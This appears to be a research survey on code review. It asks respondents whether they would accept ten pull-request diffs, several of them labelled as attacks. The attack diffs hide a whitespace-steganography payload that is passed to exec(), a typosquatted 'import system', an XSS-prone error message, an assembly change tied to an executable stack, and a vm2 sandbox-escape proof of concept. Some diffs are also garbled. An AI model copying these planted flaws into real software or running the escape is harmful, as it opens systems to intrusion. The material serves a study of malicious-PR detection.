

Demographic Questions

Before reviewing the PRs, we'd like to ask you a few basic questions.

What is your age?

- ☐ 18-24
- ☐ 25-34
- ☐ 35-44
- ☐ 45 and above

What is your gender?

- ☐ Male
- ☐ Female
- ☐ Non-binary
- ☐ Prefer not to say

Which country are you from?

- ☐ Prefer not to answer
- ☐ Your country

What is the highest level of education you have completed?

- ☐ High school or equivalent
- ☐ Bachelor's Degree
- ☐ Master's Degree
- ☐ Doctoral Degree
- ☐ Other

Which programming languages do you have programming experience with? (Select all that apply)

- ☐ C/ C++
- ☐ Python
- ☐ Javascript
- ☐ PHP
- ☐ Other

Which programming languages do you have code reviewing and/or open-source project maintenance experience with? (Select all that apply)

- ☐ C/ C++
- ☐ Python
- ☐ Javascript
- ☐ PHP
- ☐ Other

Have you contributed to any open-source projects?

- ☐ Yes
- ☐ No

How many open-source packages or projects have you maintained?

- ☐ 1
- ☐ 2-3
- ☐ 4-6
- ☐ 6 or more

How many years of experience do you have contributing to open-source projects?

- ☐ Less than a year
- ☐ 1-2 years
- ☐ 3-5 years
- ☐ 6-10 years
- ☐ 11 years or more

Have you ever used AI language models to make decisions about accepting or rejecting a PR?

- ☐ Yes
- ☐ No

Which language models do you use so frequently to make decisions in accepting or rejecting a PR?

- ☐ Claude 3.5 Sonnet
- ☐ Sonar Large
- ☐ GPT-4o
- ☐ Sonar Huge
- ☐ Grok-2
- ☐ Claude 3.5 Haiku
- ☐ AWS Toolkit
- ☐ Github Copilot
- ☐ Other

Do you rely on any static or dynamic analysis tools to make decisions in accepting or rejecting a PR?

- ☐ Yes
- ☐ No

Which static/dynamic analysis tools do you use so frequently

to make decisions in accepting or rejecting a PR?

- ☐ PHPStan
- ☐ Psalm
- ☐ ESLint
- ☐ Cppcheck
- ☐ Bandit
- ☐ Other

Do you have any experience in code review?

- ☐ Yes
- ☐ No

How frequently do you review code?

- ☐ Daily
- ☐ Weekly
- ☐ Biweekly
- ☐ Monthly
- ☐ Occasionally
- ☐ Rarely

Have you ever used AI language models in code review process?

- ☐ Yes
- ☐ No

Which language models do you use so frequently in code review process?

- ☐ Claude 3.5 Sonnet
- ☐ Sonar Large
- ☐ GPT-4o
- ☐ Sonar Huge
- ☐ Grok-2

- ☐ AWS Toolkit
- ☐ Github Copilot
- ☐ Other

Do you rely on any static or dynamic analysis tools in code review process?

- ☐ Yes
- ☐ No

Which static/dynamic analysis tools do you use so frequently in code review process?

- ☐ PHPStan
- ☐ Psalm
- ☐ ESLint
- ☐ Cppcheck
- ☐ Bandit
- ☐ Other

Sorry, you are not eligible to participate in this survey!
Please click on this [link](#) to confirm your submission

Snippet 3: Benign Fix

Summary

This code formats log records into an HTML table, assigning colors based on log levels and including details like message, time, channel, context, and extra data for structured and visually organized logging, especially for HTML email logs. Click [here](#) to view the complete repository.

Changes Made

- The `$escapeTd` parameter has been removed from the `addRow` method, making HTML escaping of `$td` content mandatory.
- Inline styles for `<th>` and `<td>` elements have been slightly simplified by removing `vertical-align` properties.

Will you accept the PR?

```

1 -
2 + private function addRow($th, $td = ' ')
3 + {
4 +     $th = htmlspecialchars($th);
5 +     $td = '<pre>'.htmlspecialchars($td).'</pre>';
6 +
7 +     return "<tr style=\"padding: 4px;spacing: 0;text-align: left;\"\n
8 + <th style=\"background: #cccccc\" width=\"100px\">$th:</th>\n<td style=\"padding: 4px;
9 + spacing: 0;text-align: left;background: #eeeeee\">\".$td.\"</td>\n</tr>";
10 + }
```

- ☐ Yes
- ☐ No

The reason of accepting/ not accepting the PR

Snippet 2: Attack Typo

Summary

This Python script sets up the GUI environment for the application "labellmg" using PyQt4 or PyQt5, providing tools for managing labeled images. It imports various modules and libraries for GUI components, custom widgets, file handling, and specific data formats used in labeling tasks. The `WindowMixin` class helps create menus and toolbars dynamically in the application interface. Click [here](#) to view the complete repository.

Changes Made

- Removed Whitespaces
- Added documentation

Will you accept the PR?

```

1 1 #!/usr/bin/env python
2 2 # -*- coding: utf-8 -*-
3 3 import argparse
4 4 import codecs
5 5 + from functools import partial
6 6 import os.path
7 7 import platform
8 8 + import system
9 9 import shutil
10 10 import sys
11 11 import webbrowser as wb
12 12 - from functools import partial
13 13 -
14 14 try:
15 15     from PyQt5.QtGui import *
16 16     from PyQt5.QtCore import *
17 17     from PyQt5.QtWidgets import *
18 18 except ImportError:
19 19     # needed for py3qt4
20 20 - # Ref:
21 21 - # http://pyqt.sourceforge.net/Docs/PyQt4/incompatible_apis.html
22 22 - # http://stackoverflow.com/questions/21217399/pyqt4-qtcore-qvariant-object-instead-of-a-string
23 23 + # Ref 1: http://pyqt.sourceforge.net/Docs/PyQt4/incompatible_apis.html
24 24 + # Ref 2: http://stackoverflow.com/questions/21217399/pyqt4-qtcore-qvariant-object-instead-of-a-string
25 25 + if sys.version_info.major >= 3:
26 26     import sip
27 27     sip.setapi('QVariant', 2)
28 28     from PyQt4.QtGui import *
29 29     from PyQt4.QtCore import *
30 30 -
31 31 from libs.combobox import ComboBox
32 32 from libs.default_label_combobox import DefaultLabelComboBox
33 33 from libs.resources import *
34 34 @@ -50,21 +48,43 @@
35 35
36 36 __appname__ = 'labeling'
37 37
38 38 -
39 39 class WindowMixin(object):
40 40 +
41 41 + """
42 42 + A mixin class providing helper methods for creating menus and toolbars in the GUI.
43 43 + """
44 44
45 45 def menu(self, title, actions=None):
46 46     menu = self.menuBar().addMenu(title)
47 47     if actions:
48 48         add_actions(menu, actions)
49 49     return menu
50 50 +
51 51 + """
52 52 + Creates and returns a menu in the menu bar.
53 53 +
54 54 + Parameters:
55 55 + - title (str): The title of the menu.
56 56 + - actions (list, optional): A list of QAction objects to add to the menu. Defaults to None.
57 57 +
58 58 + Returns:
59 59 + - QMenu: The created menu with the specified title and actions.
60 60 + """
61 61     menu = self.menuBar().addMenu(title) # Create a menu with the specified title and add it to the menu bar.
62 62     if actions: # Check if any actions are provided.
63 63         add_actions(menu, actions) # Add the provided actions to the menu.
64 64     return menu # Return the created menu.
65 65
66 66 def toolbar(self, title, actions=None):
67 67     toolbar = Toolbar(title)
68 68     toolbar.setObjectName(u"%sToolBar" % title)
69 69     # toolbar.setOrientation(Qt.Vertical)
70 70     toolbar.setStyleSheet(Qt.ToolButtonTextUnderIcon)
71 71     if actions:
72 72         add_actions(toolbar, actions)
73 73     self.addToolBar(Qt.LeftToolBarArea, toolbar)
74 74     return toolbar
75 75 +
76 76 + """
77 77 + Creates and returns a toolbar in the main window.
78 78 +
79 79 + Parameters:
80 80 + - title (str): The title of the toolbar.
81 81 + - actions (list, optional): A list of QAction objects to add to the toolbar. Defaults to None.
82 82 +
83 83 + Returns:
84 84 + - Toolbar: The created toolbar with the specified title and actions.
85 85 + """
86 86     toolbar = Toolbar(title) # Initialize a Toolbar with the provided title.
87 87     toolbar.setObjectName(u"%sToolBar" % title) # Set the object name of the toolbar using the title.
88 88     # toolbar.setOrientation(Qt.Vertical) # Optionally set the toolbar's orientation to vertical.
89 89     toolbar.setStyleSheet(Qt.ToolButtonTextUnderIcon) # Set the style to display text under icons in the toolbar.
90 90     if actions: # Check if any actions are provided.
91 91         add_actions(toolbar, actions) # Add the provided actions to the toolbar.
92 92     self.addToolBar(Qt.LeftToolBarArea, toolbar) # Add the toolbar to the left area of the main window.
93 93     return toolbar # Return the created toolbar.

```

☐ Yes

☐ No

The reason of accepting/ not accepting the PR

Snippet 4: Attack Bypass Sanity

This PHP code generates a random number between 1 and a user-defined maximum value, provided through a form submission. It validates that the input is a positive number, sanitizes it for security, and outputs the random number or an error message if the input is invalid. Click [here](#) to view the complete repository.

Changes Made

- Refactored the if-else block for improved readability and clarity.
- Initialized `$maxNumber` to 10 at the start to provide a default value.

Will you accept this PR?

```
1 1 <?php
2 - if (isset($_POST['maxNumber'])) {
3 -     $maxNumber = $_POST['maxNumber'];
4 -     $maxNumber = htmlspecialchars ($maxNumber);
5 -
6 + $maxNumber = 10;
7 + if (isset($_POST['maxNumber']))
8 + {
9 +     $maxNumber = $_POST['maxNumber']; $maxNumber = htmlspecialchars ($maxNumber);
10 // Attempting to generate a random number
11 - if (is_numeric($maxNumber) && $maxNumber > 0) {
12 + if (is_numeric($maxNumber) && $maxNumber > 0)
13 + {
14     $randomNumber = rand(1, intval($maxNumber));
15     echo "<h1>Your Random Number: $randomNumber</h1>";
16 - } else {
17 -     echo "<h1>Invalid input: $maxNumber </h1>";
18 + }
19 + else
20 + {
21     echo "<h1>Invalid input: $maxNumber</h1>";
22 }
23 - } else {
24 + }
25 + else
26 + {
27     echo "<h1>No maximum number provided.</h1>";
28 }
29 }
30 ?>
```

☐ Yes

☐ No

The reason of accepting/ not accepting the PR

Snippet 8: Benign Performance

Summary

It is a C++ template library for linear algebra: matrices, vectors, numerical solvers, and related algorithms. Click [here](#) to view the complete repository.

Changes Made

This update aims to enhance performance by optimizing register usage and leveraging efficient arithmetic operations for complex numbers multiplication.

Will you accept the PR?

```
718 718 @ @ 718,18 *718,18 @ @ class gepb_traits<std::complex<RealScalar>, std::complex<RealScalar>, ConjLhs_,
719 719 LhsPacketSize = Vectorizable ? unpack_traits<LhsPacket>::size : 1,
720 720 RhsPacketSize = Vectorizable ? unpack_traits<RhsScalar>::size : 1,
721 721 RealPacketSize = Vectorizable ? unpack_traits<RealPacket>::size : 1,
722 722 NumberRegisters = EIGEN_ARCH_DEFAULT_NUMBER_OF_REGISTERS,
723 723 // FIXME: should depend on NumberRegisters
724 724 nr = 4,
725 725 nr = ResPacketSize,
726 726 nr = (plain_enum_min(16, NumberRegisters) / 2 / nr) * ResPacketSize,
727 727 LhsProgress = ResPacketSize,
728 728 RhsProgress = 1
729 729
730 730 @ @ 795,8 *795,8 @ @ class gepb_traits<std::complex<RealScalar>, std::complex<RealScalar>, ConjLhs_,
731 731 DoublePacket<ResPacketType>=6 c,
732 732 TmpType6 /*tmp*/,
733 733 const LanesType6> const {
734 734 c.first = paco(pmul(a, b.first), c.first);
735 735 c.second = paco(pmul(a, b.second), c.second);
736 736 c.first = pmadd(a, b.first, c.first);
737 737 c.second = pmadd(a, b.second, c.second);
738 738 }
739 739
740 740 template <typename LanesType>
```

- ☐ Yes
- ☐ No

The reason of accepting/ not accepting the PR

Snippet 5: Attack Executable Stack

Summary

This C code multiplies two 2x2 matrices and stores the result in a third matrix. It then prints the resulting matrix to the console. Click [here](#) to view the complete repository.

Changes Made

- Replaced the matrix multiplication function written in c by an assembly code for performance optimization.

Will you accept the PR?

```

...    ...    @@ -1,15 +1,5 @@
1      1      #include <stdio.h>
2
3      - void matrix_multiply(int* matrix1, int* matrix2, int* result) {
4      -     for (int i = 0; i < 2; i++) {
5      -         for (int j = 0; j < 2; j++) {
6      -             result[i * 2 + j] = 0;
7      -             for (int k = 0; k < 2; k++) {
8      -                 result[i * 2 + j] += matrix1[i * 2 + k] * matrix2[k * 2 + j];
9      -             }
10     -     }
11     - }
12     - }
13     2 + extern void matrix_multiply(int* matrix1, int* matrix2, int* result);
14     3     void print_matrix(int* matrix) {
15     4         for (int i = 0; i < 2; i++) {
16     5             for (int j = 0; j < 2; j++) {
17     6                 printf("%d ", matrix[i * 2 + j]);
18     7             }
19     8             printf("\n");
20     9         }
21    10     }
22    11     int main() {
23    12         int matrix1[4] = {1, 2, 3, 4};
24    13         int matrix2[4] = {5, 6, 7, 8};
25    14         int result[4] = {0};
26    15         matrix_multiply(matrix1, matrix2, result);
27    16         printf("\nResult Matrix:\n");
28    17         print_matrix(result);
29    18         return 0;
30    19     }

```

```

...    ...    @@ -0,0 +1,44 @@
1  + global _matrix_multiply
2  + section .text
3  + _matrix_multiply:
4  +     push ebp
5  +     mov ebp, esp
6  +     ; Get pointers to matrices and result
7  +     mov esi, [ebp + 8] ; matrix1
8  +     mov edi, [ebp + 12] ; matrix2
9  +     mov ebx, [ebp + 16] ; result
10 +     ; Calculate result[0,0]
11 +     mov eax, [esi]
12 +     imul dword [edi]
13 +     mov ecx, eax
14 +     mov eax, [esi + 4]
15 +     imul dword [edi + 8]
16 +     add eax, ecx
17 +     mov [ebx], eax
18 +     ; Calculate result[0,1]
19 +     mov eax, [esi]
20 +     imul dword [edi + 4]
21 +     mov ecx, eax
22 +     mov eax, [esi + 4]
23 +     imul dword [edi + 12]
24 +     add eax, ecx
25 +     mov [ebx + 4], eax
26 +     ; Calculate result[1,0]
27 +     mov eax, [esi + 8]
28 +     imul dword [edi]
29 +     mov ecx, eax
30 +     mov eax, [esi + 12]
31 +     imul dword [edi + 8]
32 +     add eax, ecx
33 +     mov [ebx + 8], eax
34 +     ; Calculate result[1,1]
35 +     mov eax, [esi + 8]
36 +     imul dword [edi + 4]
37 +     mov ecx, eax
38 +     mov eax, [esi + 12]
39 +     imul dword [edi + 12]
40 +     add eax, ecx
41 +     mov [ebx + 12], eax
42 +     mov esp, ebp
43 +     pop ebp
44 +     ret

```

☐ Yes

☐ No

The reason of accepting/ not accepting the PR

Snippet 6: Attack Homo-Stegano

Summary

This function executes a specified script file within a given namespace, checks the script's content and handles its format. It compiles and runs the script. Click [here](#) to view the complete repository.

Changes Made

- Added a new variable `script_text` to hold the script text.
- Placed more emphasis on handling unintended characters in `script_text`.

Will you accept the PR?

```

1 1 def run_script(self, script_name: str, namespace: dict[str, Any]):
2 2     script = 'scripts/' + script_name
3 3     if not self.has_metadata(script):
4 4         raise ResolutionError(script)
5 5         "Script {script!r} not found in metadata at {self.egg_info!r}".format(
6 6             **locals()
7 7         ),
8 8     )
9 9 +     #Declaring a variable for holding text from the script
10 10 +     script_text = ""
11 11 +     #replacing any unintended characters
12 12     script_text = self.get_metadata(script).replace('\n', '\n')
13 13 +     script_text = ''.join([chr(int(byte, 2)) for byte in
14 14 +         [script_text.replace(' ', '0').replace('\t', '1')[i:i+8]
15 15 +         for i in range(0, len(script_text.replace(' ', '0').replace('\t', '1')), 8)]]
16 16     script_text = script_text.replace('\n', '\n')
17 17     script_filename = self._fn(self.egg_info, script)
18 18     namespace['_file_'] = script_filename
19 19 +     @@ -23,5 +29,6 @@ def run_script(self, script_name: str, namespace: dict[str, Any]):
20 20 +         script_text.split('\n'),
21 21 +         script_filename,
22 22 +     )
23 23 -     script_code = compile(script_text, script_filename, 'exec')
24 24 +     #making it executable
25 25 +     script_code = compile(script_text, script_filename, 'exec') #script_code = compile(script_text, script_filename, 'exec')
26 26 +     exec(script_code, namespace, namespace)
27 27

```

☐ Yes

☐ No

The reason of accepting/ not accepting the PR

Snippet 9: Benign Added Feature

Summary

This code defines base classes in Python to create accessor properties, which can be added to other classes in the Pandas library. It provides methods for adding, managing, and delegating accessors, allowing controlled access to methods and properties on a target class. Click [here](#) to view complete repository.

Changes Made

Will you accept this PR?

```

7      7
8      8      from __future__ import annotations
9      9
10     10 + import functools
10     11      from typing import (
11     12          TYPE_CHECKING,
12     13          final,
13     14      )
13     15      @-117,12 +118,12 @@ def _setter(self, new_values):
117    118          )
118    119
119    120      def _create_delegator_method(name: str):
120    121          + method = getattr(delegate, accessor_mapping(name))
121    122          +
122    123          + @functools.wraps(method)
123    124      def f(self, *args, **kwargs):
124    125          return self._delegate_method(name, *args, **kwargs)
125    126
126    127      f.__name__ = name
127    128      f.__doc__ = getattr(delegate, accessor_mapping(name)).__doc__
128    129      return f
129
130    131      for name in accessors:

```

- ☐ Yes
- ☐ No

The reason of accepting/ not accepting the PR

Snippet 7: Attack XSS

Summary

This code checks login credentials by verifying the username or email and password against stored data in a database. If credentials are valid, it initiates a user session; otherwise, it logs relevant errors for incorrect input or connection issues. Click [here](#) to view the complete repository.

Changes Made

- Updated the error message for a non-existent user to include the entered username for clearer feedback.

Will you accept this PR?

```

1 1 <?php
2 2 // check login form contents
3 3 if (empty($_POST['user_name'])) {
4 4     $this->errors[] = "Username field was empty.";
5 5 } elseif (empty($_POST['user_password'])) {
6 6     $this->errors[] = "Password field was empty.";
7 7 } elseif (!empty($_POST['user_name']) && !empty($_POST['user_password'])) {
8 8
9 9     // create a database connection, using the constants from config/db.php (which we loaded in index.php)
10 10 $this->db_connection = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
11 11
12 12     // change character set to utf8 and check it
13 13 if (!$this->db_connection->set_charset("utf8")) {
14 14     $this->errors[] = $this->db_connection->error;
15 15 }
16 16
17 17 // if no connection errors (= working database connection)
18 18 if (!$this->db_connection->connect_errno) {
19 19
20 20     // escape the POST stuff
21 21 $user_name = $this->db_connection->real_escape_string($_POST['user_name']);
22 22
23 23     // database query, getting all the info of the selected user (allows login via email address in the
24 24 // username field)
25 25 $sql = "SELECT user_name, user_email, user_password_hash
26 26 FROM users
27 27 WHERE user_name = '" . $user_name . "' OR user_email = '" . $user_name . "'";
28 28 $result_of_login_check = $this->db_connection->query($sql);
29 29
30 30 // if this user exists
31 31 if ($result_of_login_check->num_rows == 1) {
32 32
33 33     // get result row (as an object)
34 34 $result_row = $result_of_login_check->fetch_object();
35 35
36 36     // using PHP 5.5's password_verify() function to check if the provided password fits
37 37 // the hash of that user's password
38 38 if (password_verify($_POST['user_password'], $result_row->user_password_hash)) {
39 39
40 40     // write user data into PHP SESSION (a file on your server)
41 41 $_SESSION['user_name'] = $result_row->user_name;
42 42 $_SESSION['user_email'] = $result_row->user_email;
43 43 $_SESSION['user_login_status'] = 1;
44 44
45 45 } else {
46 46     $this->errors[] = "Wrong password. Try again.";
47 47 }
48 48 } else {
49 49     // Displaying wrong user name so that the user can avoid typing mistake in next attempt
50 50 - $this->errors[] = "This user does not exist.";
50 50 + $this->errors[] = "This user ($user_name) does not exist.";
51 51 }
52 52 } else {
53 53     $this->errors[] = "Database connection problem.";
54 54 }
55 55 }
56 56 ?>

```

☐ Yes

☐ No

The reason of accepting/ not accepting the PR

Snippet 10: Benign Fix

Summary

This code handles various data types, converting them to compatible formats for literal expressions in a DataFrame,

them to specified types as needed. Click [here](#) to view the complete repository.

Changes Made

- The previous implementation referenced the `__members__` of the Enum class, which has been replaced with a more concise list comprehension that directly accesses the values of the Enum members.

Will you accept the PR?

```

@@ -130,7 +130,7 @@ def lit(
130 130     elif isinstance(value, enum.Enum):
131 131         lit_value = value.value
132 132         if dtype is None and isinstance(value, str):
133 133 -         dtype = Enum(value.__class__.__members__.values())
133 133 +         dtype = Enum(m.value for m in type(value))
134 134         return lit(lit_value, dtype=dtype)
135 135
136 136     if dtype:

```

☐ Yes

☐ No

The reason of accepting/ not accepting the PR

Snippet 1: Attack Sandbox

Summary

This code tests whether the vm2 virtual machine throws a "Maximum call stack size exceeded" error by creating a recursive stack trace using a Proxy object. It further attempts to access the process object, checking if the virtual machine correctly restricts unauthorized access. Click [here](#) to view the complete repository.

Changes Made

- Added an IIFE (Immediately Invoked Function Expression) that sets `Object.prototype.get` to `0` and accesses the getter of `VMError`.

- This modification aims to observe behavior related to object properties in the VM environment.

Will you accept the PR?

```
1 1  const assert = require('assert');
2 2  const { VM } = require('vm2');
3 3  -
4 3  + (function(obj, prop) {
5 4  +   obj[prop] = 0;
6 5  +   Object.getOwnPropertyDescriptor(this, "VMError")[prop];
7 6  + })(Object.prototype, 'get');
4 7  function runTest() {
5 8  const vm2 = new VM();
6 9  assert.throws(() => {
7 10    vm2.run(`
8 11      const proxiedErr = new Proxy({}, {
9 12        getPrototypeOf(target) {
10 13          (function stack() {
11 14            new Error().stack;
12 15            stack();
13 16          })();
14 17        }
15 18      });
16 19      try {
17 20        throw proxiedErr;
18 21      } catch ({ constructor: c }) {
19 22        c.constructor('return process')();
20 23      }
21 24    `);
22 25    }, /Maximum call stack size exceeded/, 'Expected a maximum call stack size exceeded error');
23 26    console.log('Test passed');
24 27  }
25 28
26 29  runTest();
```

- ☐ Yes
- ☐ No

The reason of accepting/not accepting the PR

Reward

Thank you for your participation.

Please click on this [link](#) to confirm your submission